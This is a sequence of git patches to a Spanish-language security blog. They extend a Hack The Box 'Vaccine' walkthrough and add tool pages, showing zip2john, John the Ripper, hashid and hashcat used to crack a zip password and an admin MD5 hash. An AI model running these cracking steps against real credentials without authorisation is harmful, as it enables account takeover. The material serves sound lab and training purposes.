From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 11:56:02 +0200 Subject: [PATCH 0050/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 44 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 0aa2ae80bef..99ad3335f12 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -145,7 +145,7 @@ Una vez dentro del nuevo directorio, aplicaremos el comando 'unzip' para tratar ![Captura de pantalla -2022-04-26 09-52-39](https://user-images.githubusercontent.com/103068924/165250029-0c343ba8-29ae-446e-91e7-87b7b2160eff.png) -Al intentar descomprimir el arhcivo nos pide una contraseña, como desconozco la contraseña, presionado 'Enter' +Al intentar descomprimir el archivo nos pide una contraseña, como desconozco la contraseña, presionado 'Enter' podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.php y style.css): ![Captura de pantalla -2022-04-26 09-57-17](https://user-images.githubusercontent.com/103068924/165250925-0f1270d2-0200-426e-9f64-8c475f88bfde.png) @@ -155,8 +155,50 @@ caso de no tener la herramienta instalada o queráis leer más sobre ella podré [John the Ripper](./john_the_ripper.html) +### John the Ripper: +Nos posicionamos en el directorio donde se encuentre el archivo backup.zip: +![Captura de pantalla -2022-04-26 11-34-30](https://user-images.githubusercontent.com/103068924/165270196-a2119a6d-fbf6-4446-abcc-8b80574b37ef.png) + +En primer lugar, vamos a extraer el hash del archivo 'backup.zip', para ello utilizaremos el comando zip2john y +guardaremos los resultados en un archivo nuevo que llamaremos 'hash1': + + zip2john 'backup.zip' > hash1 + +![Captura de pantalla -2022-04-26 11-35-49](https://user-images.githubusercontent.com/103068924/165270443-5ec033b6-43b8-4b81-97aa-a851d3fc2118.png) + +Como podemos ver, se nos ha generado un nuevo archivo en nuestro directorio actual con el nombre de 'hash1'. + +![Captura de pantalla -2022-04-26 11-38-15](https://user-images.githubusercontent.com/103068924/165270953-0592de7a-bf31-4e9b-b64c-3c65a8c3cd98.png) + +Mediante 'cat' podemos ver su contenido, el hash extraído del archivo .zip. + + cat hash1 + +![Captura de pantalla -2022-04-26 11-39-08](https://user-images.githubusercontent.com/103068924/165271131-4fae266f-0d0e-4caa-87ec-3da52138de98.png) + +Perfecto, ya tenemos nuestro hash listo para explotarlo, ahora mediante la herramienta John, vamos a tratar de +descifrar el 'hash' mediante un diccionario de fuerza bruta llamado rockyou.txt. Rockyou.txt es un diccionario +con más de 14 millones de contraseñas, el cual se puede encontrar por internet en distintos repositorios. + +Es aconsejable alojar el archivo rockyou.txt en la ruta '/usr/share/wordlists/'. + +Para ejecutar el ataque por diccionario con John, utilizaremos la variable '--wordlist' especificando la ruta del +diccionario, y luego, también especificamos el archivo que queremos tratar de descifrar, en nuestro caso 'hash1': + + john --worlist=/usr/share/wordlists/rockyou.txt hash + +![Captura de pantalla -2022-04-26 11-49-04](https://user-images.githubusercontent.com/103068924/165273100-baee1cfa-ed29-4ab1-beeb-a2cb3f2c66fb.png) + +Como podemos ver, la herramienta John enseguida nos reporta que ha procesado 1 contraseña y que no quedan más hashes +que crackear. + +Para poder ver la contraseña simplemente utilizamos John con la variable '--show' y especificar el archivo. + + john --show hash1 + +![Captura de pantalla -2022-04-26 11-55-53](https://user-images.githubusercontent.com/103068924/165274505-6168b701-cc37-4810-b0c1-0cab72b0ed91.png) From bec820261a3d1878c02d78ec2e88f482a0d24ed6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 12:11:43 +0200 Subject: [PATCH 0051/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 30 +++++++++++++++++++++++++++++- 1 file changed, 29 insertions(+), 1 deletion(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 99ad3335f12..51b9b83b7f9 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -2,7 +2,7 @@ ![Captura de pantalla -2022-04-26 08-13-51](https://user-images.githubusercontent.com/103068924/165234105-c74265cb-61e5-4ae5-abe7-0ee2dd77343d.png) -# HTB - Vaccine +# HTB-Vaccine Resolución del starting poing de Hack the Box Vaccine. @@ -200,6 +200,34 @@ Para poder ver la contraseña simplemente utilizamos John con la variable '--sho ![Captura de pantalla -2022-04-26 11-55-53](https://user-images.githubusercontent.com/103068924/165274505-6168b701-cc37-4810-b0c1-0cab72b0ed91.png) +Ahora ya podemos copiar la contraseña y descomprimir el archivo .zip: + + unzip backup.zip + + +![Captura de pantalla -2022-04-26 11-59-18](https://user-images.githubusercontent.com/103068924/165275309-2f069ecc-67b7-47db-8f67-cff6f646babd.png) + +Y podemos ver como ya tenemos los archivos index.php y style.css en nuestro direcctiorio: + +![Captura de pantalla -2022-04-26 11-59-37](https://user-images.githubusercontent.com/103068924/165275404-435b6409-55fc-451c-bc57-c575d86991d7.png) + +### Revisión del código fuente: + +Tras revisar el archivo index.php, podemos ver como es una copia del código fuente de la página de inicio de sesión +anterior. +Pero si nos fijamos incluye unas líneas adicionales. Para ver el código fuente podemos abrir el archivo +index.php mediante 'cat' o dirigirnos a la url http://[Ip Víctima]/index.php (la página es visualmente es igual) y +con clic derecho sobre la página y 'ver código fuente'. + + cat index.php + +![Captura de pantalla -2022-04-26 12-08-50](https://user-images.githubusercontent.com/103068924/165276973-60275a49-325c-4973-92d7-366a8dbb3faf.png) + +El apartado que a nosotros nos interesa es el 'session_start', donde nos reporta un nombre de usuario 'admin' y un +hash de una contraseña. + +![Captura de pantalla -2022-04-26 12-11-16](https://user-images.githubusercontent.com/103068924/165277394-c9f38ef0-efa2-4d65-8906-1b5d6a757b5c.png) + From fea206bf3989a8add1c8325c1c1394dcbb13b807 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 12:33:22 +0200 Subject: [PATCH 0052/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 51b9b83b7f9..e0f9dd6177a 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -228,7 +228,34 @@ hash de una contraseña. ![Captura de pantalla -2022-04-26 12-11-16](https://user-images.githubusercontent.com/103068924/165277394-c9f38ef0-efa2-4d65-8906-1b5d6a757b5c.png) +Para trabajar de manera más cómoda, crearemos un archivo llamado credentials.txt y guardaremos el usuario(admin) y +el hash econtrados. + nano credentials.txt + +![Captura de pantalla -2022-04-26 12-22-18](https://user-images.githubusercontent.com/103068924/165279384-03afa789-3a37-4376-8538-507d32c9a2c6.png) + +Guardamos (Cntrl + o) y salimos (Cntrl + x). + +![Captura de pantalla -2022-04-26 12-23-11](https://user-images.githubusercontent.com/103068924/165279549-74cbfada-16e8-4eac-9ef6-f29a9bc6fd44.png) + +### Hashid: + +Tenemos un hash, pero aún no sabemos en que tipo de algoritmo está basado. Para saberlo, utilizaremos la herramienta +Hashid, la cual nos reportará el tipo de algoritmo más provable que se utilizo en su día para crear ese hash a +partir de una contraseña. + +Para instalar la herramienta: + + sudo apt install hashid + +Para ejecutarla: + + hashid [Hash Núm] + + hashid 2cb42f8734ea607eefed3b70af13bbd3 + +![Captura de pantalla -2022-04-26 12-33-14](https://user-images.githubusercontent.com/103068924/165281291-c32d3c2a-5ab4-441e-bb04-81190b786114.png) From 5d3fe675320815cb09cc0edf1a890fd590ab05ce Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 19:30:27 +0200 Subject: [PATCH 0053/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index e0f9dd6177a..52c47fa04e1 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -215,7 +215,7 @@ Y podemos ver como ya tenemos los archivos index.php y style.css en nuestro dire Tras revisar el archivo index.php, podemos ver como es una copia del código fuente de la página de inicio de sesión anterior. -Pero si nos fijamos incluye unas líneas adicionales. Para ver el código fuente podemos abrir el archivo +Pero si nos fijamos, incluye unas líneas adicionales. Para ver el código fuente podemos abrir el archivo index.php mediante 'cat' o dirigirnos a la url http://[Ip Víctima]/index.php (la página es visualmente es igual) y con clic derecho sobre la página y 'ver código fuente'. @@ -229,7 +229,7 @@ hash de una contraseña. ![Captura de pantalla -2022-04-26 12-11-16](https://user-images.githubusercontent.com/103068924/165277394-c9f38ef0-efa2-4d65-8906-1b5d6a757b5c.png) Para trabajar de manera más cómoda, crearemos un archivo llamado credentials.txt y guardaremos el usuario(admin) y -el hash econtrados. +el hash encontrados. nano credentials.txt @@ -241,8 +241,8 @@ Guardamos (Cntrl + o) y salimos (Cntrl + x). ### Hashid: -Tenemos un hash, pero aún no sabemos en que tipo de algoritmo está basado. Para saberlo, utilizaremos la herramienta -Hashid, la cual nos reportará el tipo de algoritmo más provable que se utilizo en su día para crear ese hash a +Tenemos un hash, pero aún no sabemos en qué tipo de algoritmo está basado. Para saberlo, utilizaremos la herramienta +Hashid, la cual nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear ese hash a partir de una contraseña. Para instalar la herramienta: @@ -257,6 +257,10 @@ Para ejecutarla: ![Captura de pantalla -2022-04-26 12-33-14](https://user-images.githubusercontent.com/103068924/165281291-c32d3c2a-5ab4-441e-bb04-81190b786114.png) +Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. Recordar que la aplicación nos +reporta los más probables, en ocasiones el primero en reportar no es el correcto. Para contrastar esta información +voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más precisa. + From 9bf92a2908e84a641ab5ecebc38bf4de8825a9ce Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 19:45:39 +0200 Subject: [PATCH 0054/1701] Create HashId.md --- HashId.md | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 HashId.md diff --git a/HashId.md b/HashId.md new file mode 100644 index 00000000000..9d735f0d7b5 --- /dev/null +++ b/HashId.md @@ -0,0 +1,38 @@ +# Hashid: + +Hashid es una herramienbta que nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear +ese hash a partir de una contraseña. + +## Instalación: + +Para instalar la herramienta: + + sudo apt install hashid + +## Ejecución: + +Para ejecutarla: + + hashid [Hash Núm] + + + hashid 2cb42f8734ea607eefed3b70af13bbd3 + +### Ejemplo: + +![Captura de pantalla -2022-04-26 12-33-14](https://user-images.githubusercontent.com/103068924/165281291-c32d3c2a-5ab4-441e-bb04-81190b786114.png) + +Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. + +Recordar que la aplicación nos reporta los más probables, en ocasiones el primero en reportar no es el +correcto, por tanto, tener en cuenta los dos o tres primeros en orden descendente, ya que el primero que nos +reporta es el que en teoría tiene más probabilidades. + + + + + + + + + From 3502a21380c87188d26a014017c6249d5394783b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 19:47:31 +0200 Subject: [PATCH 0055/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 9daef6584b4..2533c2250de 100644 --- a/index.md +++ b/index.md @@ -19,6 +19,8 @@ [John the Ripper](./john_the_ripper.html) +[HashID](./HashId.html) + ## Artículos [Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) From 70a19b818e8bb76d8f0cf3d5d2ed6d7d84eb4163 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 19:51:18 +0200 Subject: [PATCH 0056/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 52c47fa04e1..c5a2ddf1e50 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -239,12 +239,14 @@ Guardamos (Cntrl + o) y salimos (Cntrl + x). ![Captura de pantalla -2022-04-26 12-23-11](https://user-images.githubusercontent.com/103068924/165279549-74cbfada-16e8-4eac-9ef6-f29a9bc6fd44.png) -### Hashid: +### HashID: Tenemos un hash, pero aún no sabemos en qué tipo de algoritmo está basado. Para saberlo, utilizaremos la herramienta Hashid, la cual nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear ese hash a partir de una contraseña. +Podéis encontrar más información aquí: [HashID](./HashId.html) + Para instalar la herramienta: sudo apt install hashid @@ -264,6 +266,7 @@ voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más p + From 2e4e7e3e70006cedb2c5303aec2ad60ccae49953 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 20:11:27 +0200 Subject: [PATCH 0057/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index c5a2ddf1e50..bf5c928d570 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -263,6 +263,40 @@ Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. reporta los más probables, en ocasiones el primero en reportar no es el correcto. Para contrastar esta información voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más precisa. +### Hash-Identifier + +Está herramienta hace básicamente lo mismo que HashId, nos reporta el algoritmo del hash deseado, con la diferencia +de que Hash-Identifier es algo más precisa a la hora de reportar los resusltados. + +Para instalar: + + sudo apt install hash-identifier + + ![Captura de pantalla -2022-04-26 19-59-02](https://user-images.githubusercontent.com/103068924/165363111-7e273a59-44e3-4704-a4e8-67df02f36a22.png) + +Para ejecutarlo: + + hash-identifier + +![Captura de pantalla -2022-04-26 20-01-03](https://user-images.githubusercontent.com/103068924/165363442-be95e169-8cfe-49a1-813c-1176cac2a472.png) + +Vemos como se nos despliega una interfaz gráfica donde pegaremos el hash que queremos analizar. + +![Captura de pantalla -2022-04-26 20-04-12](https://user-images.githubusercontent.com/103068924/165363897-b100c21f-6d40-4f3f-bf24-4bdb4d763a16.png) + +![Captura de pantalla -2022-04-26 20-05-15](https://user-images.githubusercontent.com/103068924/165363916-d09f8190-f21d-44ef-9c96-64180c87f0f0.png) + +Una vez analizado el hash, vemos como en la parte superior nos reporta los algoritmos, en este caso MD5. + +![Captura de pantalla -2022-04-26 20-04-59](https://user-images.githubusercontent.com/103068924/165364101-b7bf0c4b-99ca-4c02-93e3-fdbef75c8ff8.png) + +Perfecto, ya tenemos un hash y conocemos el algoritmo en el que esta basado. El siguiente paso será crackear el hash. +Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizaremos la herramienta HashCat. + +## Crackear Hash: + +### HashCat: + From 4cf9e3713543b714b6eb878b9855453a7d42bae6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 20:17:50 +0200 Subject: [PATCH 0058/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index bf5c928d570..08bfe5e66ba 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -239,6 +239,8 @@ Guardamos (Cntrl + o) y salimos (Cntrl + x). ![Captura de pantalla -2022-04-26 12-23-11](https://user-images.githubusercontent.com/103068924/165279549-74cbfada-16e8-4eac-9ef6-f29a9bc6fd44.png) +## Identificar algoritmo del Hash + ### HashID: Tenemos un hash, pero aún no sabemos en qué tipo de algoritmo está basado. Para saberlo, utilizaremos la herramienta @@ -263,7 +265,7 @@ Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. reporta los más probables, en ocasiones el primero en reportar no es el correcto. Para contrastar esta información voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más precisa. -### Hash-Identifier +### Hash-Identifier: Está herramienta hace básicamente lo mismo que HashId, nos reporta el algoritmo del hash deseado, con la diferencia de que Hash-Identifier es algo más precisa a la hora de reportar los resusltados. @@ -293,7 +295,7 @@ Una vez analizado el hash, vemos como en la parte superior nos reporta los algor Perfecto, ya tenemos un hash y conocemos el algoritmo en el que esta basado. El siguiente paso será crackear el hash. Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizaremos la herramienta HashCat. -## Crackear Hash: +## Crackear Hash ### HashCat: From d2ee3f236a47e68751087a108ad2a58ea1091e78 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 20:29:05 +0200 Subject: [PATCH 0059/1701] Create HashCat.md --- HashCat.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 HashCat.md diff --git a/HashCat.md b/HashCat.md new file mode 100644 index 00000000000..346e410f8fd --- /dev/null +++ b/HashCat.md @@ -0,0 +1,3 @@ +![hashcat](https://user-images.githubusercontent.com/103068924/165367806-d273a082-b4ff-4208-a27d-67ebd83d4610.png) + +### HashCat From e9a6f8c3c63b5aac71bf2c00d1ec2c159bc38811 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 20:30:30 +0200 Subject: [PATCH 0060/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 2533c2250de..295b611a778 100644 --- a/index.md +++ b/index.md @@ -21,6 +21,8 @@ [HashID](./HashId.html) +[HashCat](./HashCat.html) + ## Artículos [Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) From 5f4265c617c9e37f8bb33760de9c9fd290670dab Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 20:51:51 +0200 Subject: [PATCH 0061/1701] Update HashCat.md --- HashCat.md | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/HashCat.md b/HashCat.md index 346e410f8fd..77c198a12d3 100644 --- a/HashCat.md +++ b/HashCat.md @@ -1,3 +1,32 @@ ![hashcat](https://user-images.githubusercontent.com/103068924/165367806-d273a082-b4ff-4208-a27d-67ebd83d4610.png) ### HashCat + +# ¿Qué es HashCat? + +Hashcat es un descifrador de contraseñas popular y eficaz ampliamente utilizado tanto por probadores de penetración +como por administradores de sistemas, así como por delincuentes y espías. + +Su funcionamiento básicamente consiste en utilizar diccionarios precalculados, tablas y métodos de fuerza bruta +para tratar de encontrar una forma eficaz y eficiente de descifrar contraseñas. + +Estas contraseñas son procesadas por un algoritmo para crear los hash. Existen diversas clases de algoritmos, pero +lo que tenemos que tener en cuenta es que descifrar un hash es inviable, ya que se necesitaria una gran potencia +computacional y mucho tiempo para tratar de descifrarlo. + +En cambio, HashCat no trata de descifrar el hash, simplemente comprueba las miles de palabras y hashes que tienen +guardados en su base de datos hasta dar con el mismo que le hemos introducido. Este proceso es mucho más rápido ya +que la herramienta cuenta con grandes librerias actualizadas. + +# Instalación: + +Para instalar en cualquier distribución debian: + + sudo apt install hashcat + +![Captura de pantalla -2022-04-26 20-50-38](https://user-images.githubusercontent.com/103068924/165371300-6a365958-6308-4a7a-a490-7cc56deec53a.png) + +En Kali Linux y ParrotOS suele venir instalada de forma predeterminada. + +# Ejecución: + From 3a0c971b7f00cfbe602c8760251165e18b4f5dc2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 21:07:37 +0200 Subject: [PATCH 0062/1701] Update HashCat.md --- HashCat.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/HashCat.md b/HashCat.md index 77c198a12d3..166e3da8030 100644 --- a/HashCat.md +++ b/HashCat.md @@ -30,3 +30,17 @@ En Kali Linux y ParrotOS suele venir instalada de forma predeterminada. # Ejecución: +Para ver las distintas optiones y como ejecutar la herramienta: + + hashcat --help + +Para ejecutar la herramienta, debemos especificar en que algoritmo esta basado el hash, esto podemos verlo meidante +la herramientas [HashID](./HashId.html) o [Hash-Identifier](./Hash-Identifier.html). + +Crearemos un archivo, por ejemplo 'hash2' y pegamos el número hash que queremos descifrar. + + nano hash2 + + Guardamos (Cntrl + o) y salimos (Cntrl + x). + + From c27a4a762fde7e7d312e32eadb69bc3596a4ebd3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 21:13:09 +0200 Subject: [PATCH 0063/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index 295b611a778..27bbef4c95d 100644 --- a/index.md +++ b/index.md @@ -9,7 +9,7 @@ [HTB-Vaccine](./HTB-Vaccine.html) -## Herramientas y Scripts +# Herramientas y Scripts [WichSystem](./WichSystem.html) @@ -23,7 +23,7 @@ [HashCat](./HashCat.html) -## Artículos +# Artículos [Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) From 39b2ff763f33df547aac1e80720c75f881b46438 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 21:15:17 +0200 Subject: [PATCH 0064/1701] Delete LICENSE --- LICENSE | 116 -------------------------------------------------------- 1 file changed, 116 deletions(-) delete mode 100644 LICENSE diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 670154e3538..00000000000 --- a/LICENSE +++ /dev/null @@ -1,116 +0,0 @@ -CC0 1.0 Universal - -Statement of Purpose - -The laws of most jurisdictions throughout the world automatically confer -exclusive Copyright and Related Rights (defined below) upon the creator and -subsequent owner(s) (each and all, an "owner") of an original work of -authorship and/or a database (each, a "Work"). - -Certain owners wish to permanently relinquish those rights to a Work for the -purpose of contributing to a commons of creative, cultural and scientific -works ("Commons") that the public can reliably and without fear of later -claims of infringement build upon, modify, incorporate in other works, reuse -and redistribute as freely as possible in any form whatsoever and for any -purposes, including without limitation commercial purposes. These owners may -contribute to the Commons to promote the ideal of a free culture and the -further production of creative, cultural and scientific works, or to gain -reputation or greater distribution for their Work in part through the use and -efforts of others. - -For these and/or other purposes and motivations, and without any expectation -of additional consideration or compensation, the person associating CC0 with a -Work (the "Affirmer"), to the extent that he or she is an owner of Copyright -and Related Rights in the Work, voluntarily elects to apply CC0 to the Work -and publicly distribute the Work under its terms, with knowledge of his or her -Copyright and Related Rights in the Work and the meaning and intended legal -effect of CC0 on those rights. - -1. Copyright and Related Rights. A Work made available under CC0 may be -protected by copyright and related or neighboring rights ("Copyright and -Related Rights"). Copyright and Related Rights include, but are not limited -to, the following: - - i. the right to reproduce, adapt, distribute, perform, display, communicate, - and translate a Work; - - ii. moral rights retained by the original author(s) and/or performer(s); - - iii. publicity and privacy rights pertaining to a person's image or likeness - depicted in a Work; - - iv. rights protecting against unfair competition in regards to a Work, - subject to the limitations in paragraph 4(a), below; - - v. rights protecting the extraction, dissemination, use and reuse of data in - a Work; - - vi. database rights (such as those arising under Directive 96/9/EC of the - European Parliament and of the Council of 11 March 1996 on the legal - protection of databases, and under any national implementation thereof, - including any amended or successor version of such directive); and - - vii. other similar, equivalent or corresponding rights throughout the world - based on applicable law or treaty, and any national implementations thereof. - -2. Waiver. To the greatest extent permitted by, but not in contravention of, -applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and -unconditionally waives, abandons, and surrenders all of Affirmer's Copyright -and Related Rights and associated claims and causes of action, whether now -known or unknown (including existing as well as future claims and causes of -action), in the Work (i) in all territories worldwide, (ii) for the maximum -duration provided by applicable law or treaty (including future time -extensions), (iii) in any current or future medium and for any number of -copies, and (iv) for any purpose whatsoever, including without limitation -commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes -the Waiver for the benefit of each member of the public at large and to the -detriment of Affirmer's heirs and successors, fully intending that such Waiver -shall not be subject to revocation, rescission, cancellation, termination, or -any other legal or equitable action to disrupt the quiet enjoyment of the Work -by the public as contemplated by Affirmer's express Statement of Purpose. - -3. Public License Fallback. Should any part of the Waiver for any reason be -judged legally invalid or ineffective under applicable law, then the Waiver -shall be preserved to the maximum extent permitted taking into account -Affirmer's express Statement of Purpose. In addition, to the extent the Waiver -is so judged Affirmer hereby grants to each affected person a royalty-free, -non transferable, non sublicensable, non exclusive, irrevocable and -unconditional license to exercise Affirmer's Copyright and Related Rights in -the Work (i) in all territories worldwide, (ii) for the maximum duration -provided by applicable law or treaty (including future time extensions), (iii) -in any current or future medium and for any number of copies, and (iv) for any -purpose whatsoever, including without limitation commercial, advertising or -promotional purposes (the "License"). The License shall be deemed effective as -of the date CC0 was applied by Affirmer to the Work. Should any part of the -License for any reason be judged legally invalid or ineffective under -applicable law, such partial invalidity or ineffectiveness shall not -invalidate the remainder of the License, and in such case Affirmer hereby -affirms that he or she will not (i) exercise any of his or her remaining -Copyright and Related Rights in the Work or (ii) assert any associated claims -and causes of action with respect to the Work, in either case contrary to -Affirmer's express Statement of Purpose. - -4. Limitations and Disclaimers. - - a. No trademark or patent rights held by Affirmer are waived, abandoned, - surrendered, licensed or otherwise affected by this document. - - b. Affirmer offers the Work as-is and makes no representations or warranties - of any kind concerning the Work, express, implied, statutory or otherwise, - including without limitation warranties of title, merchantability, fitness - for a particular purpose, non infringement, or the absence of latent or - other defects, accuracy, or the present or absence of errors, whether or not - discoverable, all to the greatest extent permissible under applicable law. - - c. Affirmer disclaims responsibility for clearing rights of other persons - that may apply to the Work or any use thereof, including without limitation - any person's Copyright and Related Rights in the Work. Further, Affirmer - disclaims responsibility for obtaining any necessary consents, permissions - or other rights required for any use of the Work. - - d. Affirmer understands and acknowledges that Creative Commons is not a - party to this document and has no duty or obligation with respect to this - CC0 or use of the Work. - -For more information, please see - From ffd0a4c88c2db03e680149ffdb9f25524f327927 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 21:20:09 +0200 Subject: [PATCH 0065/1701] Delete another-page.md --- another-page.md | 9 --------- 1 file changed, 9 deletions(-) delete mode 100644 another-page.md diff --git a/another-page.md b/another-page.md deleted file mode 100644 index 03ce0c23db4..00000000000 --- a/another-page.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -layout: default ---- - -## Welcome to another page - -_yay_ - -[back](./) From d43955920dc8d58e38cf83974c0b55f18e4c6e88 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 21:21:20 +0200 Subject: [PATCH 0066/1701] Update _config.yml --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index b60e65a7834..c24e772bce5 100644 --- a/_config.yml +++ b/_config.yml @@ -1,5 +1,5 @@ title: F1r0x description: Blog sobre Ciberseguridad. -show_downloads: true +# show_downloads: true google_analytics: theme: jekyll-theme-hacker From 189891c0f71f540c4aee7f32fc3f3217cf03db9b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 21:42:08 +0200 Subject: [PATCH 0067/1701] Create Hash-Identifier.md --- Hash-Identifier.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 Hash-Identifier.md diff --git a/Hash-Identifier.md b/Hash-Identifier.md new file mode 100644 index 00000000000..315a0a51c98 --- /dev/null +++ b/Hash-Identifier.md @@ -0,0 +1,2 @@ +# Hash Identifier + From 8e57008c3a6e434242093713c0f7577ec53cae6f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 26 Apr 2022 21:46:28 +0200 Subject: [PATCH 0068/1701] Update HashCat.md --- HashCat.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/HashCat.md b/HashCat.md index 166e3da8030..46809f55f16 100644 --- a/HashCat.md +++ b/HashCat.md @@ -44,3 +44,5 @@ Crearemos un archivo, por ejemplo 'hash2' y pegamos el número hash que queremos Guardamos (Cntrl + o) y salimos (Cntrl + x). + + From 11ac05e2765ea13f2c3971b7805f9dd706229df2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:02:52 +0200 Subject: [PATCH 0069/1701] Update HashCat.md --- HashCat.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/HashCat.md b/HashCat.md index 46809f55f16..1c61de18f60 100644 --- a/HashCat.md +++ b/HashCat.md @@ -43,6 +43,19 @@ Crearemos un archivo, por ejemplo 'hash2' y pegamos el número hash que queremos Guardamos (Cntrl + o) y salimos (Cntrl + x). + Para ejecutar HashCat de forma básica: + hashcat -a 0 -m 0 hash2 /usr/share/rockyou.txt + + -a : Attack-mode. El 0 representa el modo 'Straight'. + + ![Captura de pantalla -2022-04-26 23-59-52](https://user-images.githubusercontent.com/103068924/165399824-debe9e55-256e-49a0-ba46-958a9efd2db4.png) + + -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando ´hashcat --help´. + + ![Captura de pantalla -2022-04-27 00-01-06](https://user-images.githubusercontent.com/103068924/165399873-50a11294-9cd6-4833-8642-16d5193ec93c.png) + + hash2 : Nombre del archivo que contiene el hash que queremos descifrar. + rockyou.txt : Es un diccionario con más de 14 millones de contraseñas y hashes. From c8bac1d07755fa8541553d515fd5771b541fe886 Mon Sep 17 00:00:00 